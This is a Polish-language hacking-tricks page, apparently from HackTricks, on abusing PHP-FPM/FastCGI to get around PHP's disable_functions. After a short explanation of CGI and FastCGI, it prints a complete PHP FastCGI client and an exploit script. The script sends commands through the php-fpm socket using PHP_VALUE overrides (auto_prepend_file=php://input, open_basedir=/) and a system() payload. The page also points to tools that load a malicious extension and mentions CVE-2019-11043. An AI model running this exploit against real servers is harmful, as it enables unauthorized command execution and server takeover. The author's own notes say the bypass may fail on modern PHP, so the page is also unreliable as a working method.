Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y doHackTricks i HackTricks Cloud github repos.
PHP-FPM
PHP-FPM jest prezentowany jako lepsza alternatywa dla standardowego PHP FastCGI, oferując funkcje szczególnie korzystne dla stron internetowych o dużym ruchu. Działa poprzez proces nadrzędny nadzorujący zbiór procesów roboczych. Dla żądania skryptu PHP to serwer WWW inicjuje połączenie proxy FastCGI do usługi PHP-FPM. Ta usługa ma zdolność odbierania żądań zarówno za pośrednictwem portów sieciowych na serwerze, jak i gniazd Unix.
Mimo pośredniczącej roli połączenia proxy, PHP-FPM musi być aktywny na tym samym urządzeniu co serwer WWW. Po otrzymaniu żądania, dostępny proces roboczy z PHP-FPM przetwarza je — wykonuje skrypt PHP, a następnie przekazuje wyniki z powrotem do serwera WWW. Po zakończeniu przetwarzania żądania proces roboczy staje się ponownie dostępny dla nadchodzących żądań.
Ale co to jest CGI i FastCGI?
CGI
Zwykle strony internetowe, pliki i wszystkie dokumenty przesyłane z serwera WWW do przeglądarki są przechowywane w określonym katalogu publicznym, takim jak home/user/public_html. Gdy przeglądarka żąda określonej zawartości, serwer sprawdza ten katalog i wysyła wymagany plik do przeglądarki.
Jeśli CGI jest zainstalowany na serwerze, wtedy w tym katalogu dodawany jest także konkretny katalog cgi-bin, na przykład home/user/public_html/cgi-bin. Skrypty CGI są przechowywane w tym katalogu. Każdy plik w katalogu jest traktowany jako program wykonywalny. Podczas dostępu do skryptu z katalogu, serwer wysyła żądanie do aplikacji odpowiedzialnej za ten skrypt, zamiast wysyłać zawartość pliku do przeglądarki. Po zakończeniu przetwarzania danych wejściowych, aplikacja wysyła dane wyjściowe do serwera WWW, który przekazuje dane do klienta HTTP.
Na przykład, gdy skrypt CGI http://mysitename.com/cgi-bin/file.pl jest odwoływany, serwer uruchomi odpowiednią aplikację Perl za pośrednictwem CGI. Dane wygenerowane podczas wykonania skryptu zostaną wysłane przez aplikację do serwera WWW. Z kolei serwer przekaże dane do przeglądarki. Gdyby serwer nie miał CGI, przeglądarka wyświetlałaby kod pliku .pl. (wyjaśnienie z tutaj)
FastCGI
FastCGI to nowsza technologia internetowa, ulepszona wersja CGI zachowująca główne funkcje.
Potrzeba rozwoju FastCGI wynika z szybkiego rozwoju i złożoności aplikacji internetowych, a także z konieczności rozwiązania niedociągnięć skalowalności technologii CGI. Aby sprostać tym wymaganiom, Open Market wprowadził FastCGI – wydajną wersję technologii CGI z rozszerzonymi możliwościami.
Bypass funkcji disable
Możliwe jest uruchomienie kodu PHP nadużywając FastCGI i omijając ograniczenia disable_functions.
Za pomocą Gopherus
Nie jestem pewien, czy to działa w nowoczesnych wersjach, ponieważ próbowałem raz i nic się nie wykonało. Jeśli masz więcej informacji na ten temat, skontaktuj się ze mną za pośrednictwem [grupy telegramowej PEASS & HackTricks tutaj](https://t.me/peass), lub twittera [@carlospolopm](https://twitter.com/hacktricks_live).
Korzystając z Gopherus możesz wygenerować ładunek, który zostanie wysłany do nasłuchiwacza FastCGI i wykonać arbitralne polecenia:
Nie jestem pewien, czy to działa w nowoczesnych wersjach, ponieważ próbowałem raz i nie mogłem niczego wykonać. Faktycznie udało mi się zobaczyć, że phpinfo() z wykonania FastCGI wskazywało, że disable_functions było puste, ale PHP (w jakiś sposób) nadal uniemożliwiał mi wykonanie jakiejkolwiek wcześniej wyłączonej funkcji. Jeśli masz więcej informacji na ten temat, skontaktuj się ze mną za pośrednictwem [grupy telegram PEASS & HackTricks tutaj](https://t.me/peass), lub na twitterze [@carlospolopm](https://twitter.com/hacktricks_live).
<?php/*** Note : Code is released under the GNU LGPL** Please do not change the header of this file** This library is free software; you can redistribute it and/or modify it under the terms of the GNU* Lesser General Public License as published by the Free Software Foundation; either version 2 of* the License, or (at your option) any later version.** This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.** See the GNU Lesser General Public License for more details.*//*** Handles communication with a FastCGI application** @author Pierrick Charron <pierrick@webstart.fr>* @version 1.0*/classFCGIClient{const VERSION_1 =1;const BEGIN_REQUEST =1;const ABORT_REQUEST =2;const END_REQUEST =3;const PARAMS =4;const STDIN =5;const STDOUT =6;const STDERR =7;const DATA =8;const GET_VALUES =9;const GET_VALUES_RESULT =10;const UNKNOWN_TYPE =11;const MAXTYPE =self::UNKNOWN_TYPE;const RESPONDER =1;const AUTHORIZER =2;const FILTER =3;const REQUEST_COMPLETE =0;const CANT_MPX_CONN =1;const OVERLOADED =2;const UNKNOWN_ROLE =3;const MAX_CONNS ='MAX_CONNS';const MAX_REQS ='MAX_REQS';const MPXS_CONNS ='MPXS_CONNS';const HEADER_LEN =8;/*** Socket* @varResource*/private $_sock =null;/*** Host* @varString*/private $_host =null;/*** Port* @varInteger*/private $_port =null;/*** Keep Alive* @varBoolean*/private $_keepAlive =false;/*** Constructor** @paramString $host Host of the FastCGI application* @paramInteger $port Port of the FastCGI application*/publicfunction__construct($host, $port =9000) // and default value for port, just for unixdomain socket{$this->_host = $host;$this->_port = $port;}/*** Define whether or not the FastCGI application should keep the connection* alive at the end of a request** @paramBoolean $b true if the connection should stay alive, false otherwise*/publicfunctionsetKeepAlive($b){$this->_keepAlive = (boolean)$b;if (!$this->_keepAlive &&$this->_sock) {fclose($this->_sock);}}/*** Get the keep alive status** @returnBoolean true if the connection should stay alive, false otherwise*/publicfunctiongetKeepAlive(){return$this->_keepAlive;}/*** Create a connection to the FastCGI application*/privatefunctionconnect(){if (!$this->_sock) {//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);$this->_sock =stream_socket_client($this->_host, $errno, $errstr,5);if (!$this->_sock) {thrownewException('Unable to connect to FastCGI application');}}}/*** Build a FastCGI packet** @paramInteger $type Type of the packet* @paramString $content Content of the packet* @paramInteger $requestId RequestId*/privatefunctionbuildPacket($type, $content, $requestId =1){$clen =strlen($content);returnchr(self::VERSION_1)/* version */.chr($type)/* type */.chr(($requestId >>8) &0xFF)/* requestIdB1 */.chr($requestId &0xFF)/* requestIdB0 */.chr(($clen >>8 ) &0xFF)/* contentLengthB1 */.chr($clen &0xFF)/* contentLengthB0 */.chr(0)/* paddingLength */.chr(0)/* reserved */. $content; /* content */}/*** Build an FastCGI Name value pair** @paramString $name Name* @paramString $value Value* @returnString FastCGI Name value pair*/privatefunctionbuildNvpair($name, $value){$nlen =strlen($name);$vlen =strlen($value);if ($nlen <128) {/* nameLengthB0 */$nvpair =chr($nlen);} else {/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */$nvpair =chr(($nlen >>24) |0x80).chr(($nlen >>16) &0xFF).chr(($nlen >>8) &0xFF).chr($nlen &0xFF);}if ($vlen <128) {/* valueLengthB0 */$nvpair .=chr($vlen);} else {/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */$nvpair .=chr(($vlen >>24) |0x80).chr(($vlen >>16) &0xFF).chr(($vlen >>8) &0xFF).chr($vlen &0xFF);}/* nameData & valueData */return $nvpair . $name . $value;}/*** Read a set of FastCGI Name value pairs** @paramString $data Data containing the set of FastCGI NVPair* @returnarray of NVPair*/privatefunctionreadNvpair($data, $length =null){$array =array();if ($length ===null) {$length =strlen($data);}$p =0;while ($p != $length) {$nlen =ord($data{$p++});if ($nlen >=128) {$nlen = ($nlen &0x7F<<24);$nlen |= (ord($data{$p++})<<16);$nlen |= (ord($data{$p++})<<8);$nlen |= (ord($data{$p++}));}$vlen =ord($data{$p++});if ($vlen >=128) {$vlen = ($nlen &0x7F<<24);$vlen |= (ord($data{$p++})<<16);$vlen |= (ord($data{$p++})<<8);$vlen |= (ord($data{$p++}));}$array[substr($data, $p, $nlen)] =substr($data, $p+$nlen, $vlen);$p += ($nlen + $vlen);}return $array;}/*** Decode a FastCGI Packet** @paramString $data String containing all the packet* @returnarray*/privatefunctiondecodePacketHeader($data){$ret =array();$ret['version'] =ord($data{0});$ret['type'] =ord($data{1});$ret['requestId'] = (ord($data{2})<<8) +ord($data{3});$ret['contentLength'] = (ord($data{4})<<8) +ord($data{5});$ret['paddingLength'] =ord($data{6});$ret['reserved'] =ord($data{7});return $ret;}/*** Read a FastCGI Packet** @returnarray*/privatefunctionreadPacket(){if ($packet =fread($this->_sock,self::HEADER_LEN)) {$resp =$this->decodePacketHeader($packet);$resp['content'] ='';if ($resp['contentLength']) {$len = $resp['contentLength'];while ($len && $buf=fread($this->_sock, $len)) {$len -=strlen($buf);$resp['content'] .= $buf;}}if ($resp['paddingLength']) {$buf=fread($this->_sock, $resp['paddingLength']);}return $resp;} else {returnfalse;}}/*** Get Informations on the FastCGI application** @paramarray $requestedInfo information to retrieve* @returnarray*/publicfunctiongetValues(array $requestedInfo){$this->connect();$request ='';foreach ($requestedInfo as $info) {$request .=$this->buildNvpair($info,'');}fwrite($this->_sock,$this->buildPacket(self::GET_VALUES, $request,0));$resp =$this->readPacket();if ($resp['type'] ==self::GET_VALUES_RESULT) {return$this->readNvpair($resp['content'], $resp['length']);} else {thrownewException('Unexpected response type, expecting GET_VALUES_RESULT');}}/*** Execute a request to the FastCGI application** @paramarray $params Array of parameters* @paramString $stdin Content```php* @returnString*/publicfunctionrequest(array $params, $stdin){$response ='';$this->connect();$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest ='';foreach ($params as $key => $value) {$paramsRequest .=$this->buildNvpair($key, $value);}if ($paramsRequest) {$request .=$this->buildPacket(self::PARAMS, $paramsRequest);}$request .=$this->buildPacket(self::PARAMS,'');if ($stdin) {$request .=$this->buildPacket(self::STDIN, $stdin);}$request .=$this->buildPacket(self::STDIN,'');fwrite($this->_sock, $request);do {$resp =$this->readPacket();if ($resp['type'] ==self::STDOUT || $resp['type'] ==self::STDERR) {$response .= $resp['content'];}} while ($resp && $resp['type'] !=self::END_REQUEST);var_dump($resp);if (!is_array($resp)) {thrownewException('Złe żądanie');}switch (ord($resp['content']{4})) {caseself::CANT_MPX_CONN:thrownewException('Ta aplikacja nie może wykonywać wielokrotnych połączeń [CANT_MPX_CONN]');break;caseself::OVERLOADED:thrownewException('Nowe żądanie odrzucone; zbyt zajęty [OVERLOADED]');break;caseself::UNKNOWN_ROLE:thrownewException('Nieznana wartość roli [UNKNOWN_ROLE]');break;caseself::REQUEST_COMPLETE:return $response;}}}?><?php// prawdziwy exploit zaczyna się tutajif (!isset($_REQUEST['cmd'])) {die("Sprawdź swoje dane wejściowe\n");}if (!isset($_REQUEST['filepath'])) {$filepath =__FILE__;}else{$filepath = $_REQUEST['filepath'];}$req ='/'.basename($filepath);$uri = $req .'?'.'command='.$_REQUEST['cmd'];$client =newFCGIClient("unix:///var/run/php-fpm.sock",-1);$code ="<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // ładunek php -- Nic nie robi$php_value ="disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";//$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params =array('GATEWAY_INTERFACE'=>'FastCGI/1.0','REQUEST_METHOD'=>'POST','SCRIPT_FILENAME'=> $filepath,'SCRIPT_NAME'=> $req,'QUERY_STRING'=>'command='.$_REQUEST['cmd'],'REQUEST_URI'=> $uri,'DOCUMENT_URI'=> $req,#'DOCUMENT_ROOT' => '/','PHP_VALUE'=> $php_value,'SERVER_SOFTWARE'=>'80sec/wofeiwo','REMOTE_ADDR'=>'127.0.0.1','REMOTE_PORT'=>'9985','SERVER_ADDR'=>'127.0.0.1','SERVER_PORT'=>'80','SERVER_NAME'=>'localhost','SERVER_PROTOCOL'=>'HTTP/1.1','CONTENT_LENGTH'=>strlen($code));// print_r($_REQUEST);// print_r($params);//echo "Call: $uri\n\n";echo $client->request($params, $code)."\n";?>
Za pomocą poprzedniej funkcji zauważysz, że funkcja system jest nadal wyłączona, ale phpinfo() pokazuje pustedisable_functions:
Więc sądzę, że możesz ustawić disable_functions tylko za pomocą plików konfiguracyjnych .ini PHP, a PHP_VALUE nie zastąpi tego ustawienia.
To skrypt PHP służący do wykorzystania protokołu fastcgi w celu ominięcia open_basedir i disable_functions.
Pomoże Ci to ominąć rygorystyczne disable_functions w celu RCE poprzez ładowanie złośliwego rozszerzenia.
Możesz uzyskać do niego dostęp tutaj: https://github.com/w181496/FuckFastcgi lub nieco zmodyfikowaną i ulepszoną wersję tutaj: https://github.com/BorelEnzo/FuckFastcgi
Zauważysz, że exploit jest bardzo podobny do poprzedniego kodu, ale zamiast próbować ominąć disable_functions za pomocą PHP_VALUE, próbuje załadować zewnętrzny moduł PHP w celu wykonania kodu, korzystając z parametrów extension_dir i extension wewnątrz zmiennej PHP_ADMIN_VALUE.
UWAGA1: Prawdopodobnie będziesz musiał ponownie skompilować rozszerzenie z tą samą wersją PHP, którą używa serwer (możesz to sprawdzić w wyniku phpinfo):
UWAGA2: Udało mi się to uruchomić, wprowadzając wartości extension_dir i extension do pliku konfiguracyjnego PHP .ini (co nie będzie możliwe w ataku na serwer). Ale z jakiegoś powodu, korzystając z tego exploitu i ładowania rozszerzenia z zmiennej PHP_ADMIN_VALUE, proces po prostu się zawieszał, więc nie wiem, czy ta technika nadal jest ważna.
Luka w zdalnym wykonaniu kodu PHP-FPM (CVE-2019–11043)
Następnie możesz przechwycić zakodowany adres URL i zdekodować go, a następnie przekształcić go na base64, korzystając na przykład z tej receptury cyberchef. Następnie skopiuj/wklej base64 do tego kodu php: